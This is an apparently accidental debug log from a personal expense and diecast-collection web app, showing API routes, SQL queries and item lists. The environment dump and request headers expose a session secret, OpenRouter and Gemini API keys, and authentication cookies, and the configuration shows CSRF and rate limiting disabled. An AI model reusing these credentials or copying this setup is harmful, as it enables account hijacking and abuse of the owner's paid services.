  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:58.829Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:02:58.829Z server-connect:app Executing action step identify
2026-07-13T10:02:58.829Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.830Z server-connect:output identity: 1
2026-07-13T10:02:58.830Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.830Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.830Z server-connect:output restrict: undefined
2026-07-13T10:02:58.830Z server-connect:app Executing action step select
2026-07-13T10:02:58.830Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:02:58.833Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:03:30.127Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T10:03:30.310Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T10:03:30.394Z server-connect:setup:upload Upload middleware configured.
2026-07-13T10:03:30.395Z server-connect:secure CSRF Protection initialized
2026-07-13T10:03:30.397Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T10:03:30.397Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T10:03:30.397Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T10:03:30.398Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T10:03:30.398Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T10:03:30.399Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T10:03:30.401Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T10:03:30.402Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T10:03:30.402Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T10:03:30.403Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T10:03:30.403Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T10:03:30.404Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T10:03:30.404Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T10:03:30.407Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T10:03:30.407Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T10:03:30.408Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T10:03:30.408Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T10:03:30.408Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T10:03:30.409Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T10:03:30.409Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T10:03:30.409Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T10:03:30.410Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T10:03:30.410Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T10:03:30.410Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T10:03:30.410Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T10:03:30.411Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T10:03:30.411Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T10:03:30.411Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T10:03:30.411Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T10:03:30.412Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T10:03:30.412Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T10:03:30.412Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T10:03:30.412Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T10:03:30.412Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T10:03:30.413Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T10:03:30.413Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T10:03:30.413Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T10:03:30.413Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:03:30.538Z server-connect:router Serving templateView /diecast
2026-07-13T10:03:30.542Z server-connect:app Executing action step identify
2026-07-13T10:03:30.542Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:30.544Z server-connect:output identity: 1
2026-07-13T10:03:30.544Z server-connect:app Executing action step restrict
2026-07-13T10:03:30.544Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:03:30.546Z server-connect:output restrict: undefined
2026-07-13T10:03:30.546Z server-connect:router Render template layouts/main
2026-07-13T10:03:30.546Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-07-13T10:03:33.265Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:03:33.266Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:03:33.266Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:03:33.267Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:03:33.269Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:03:33.270Z server-connect:app Executing action step identify
2026-07-13T10:03:33.270Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.270Z server-connect:output identity: 1
2026-07-13T10:03:33.270Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.270Z server-connect:app Executing action step identify
2026-07-13T10:03:33.270Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.270Z server-connect:output identity: 1
2026-07-13T10:03:33.270Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.271Z server-connect:app Executing action step identify
2026-07-13T10:03:33.271Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.271Z server-connect:output identity: 1
2026-07-13T10:03:33.271Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.271Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.271Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:03:33.272Z server-connect:app Executing action step identify
2026-07-13T10:03:33.272Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.272Z server-connect:output identity: 1
2026-07-13T10:03:33.272Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.272Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.272Z server-connect:output restrict: undefined
2026-07-13T10:03:33.273Z server-connect:app Executing action step select
2026-07-13T10:03:33.273Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:03:33.275Z server-connect:output restrict: undefined
2026-07-13T10:03:33.275Z server-connect:app Executing action step select
2026-07-13T10:03:33.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:03:33.276Z server-connect:output restrict: undefined
2026-07-13T10:03:33.276Z server-connect:app Executing action step select
2026-07-13T10:03:33.276Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:03:33.279Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:03:33.281Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:03:33.282Z server-connect:output restrict: undefined
2026-07-13T10:03:33.282Z server-connect:app Executing action step single
2026-07-13T10:03:33.282Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:03:33.286Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
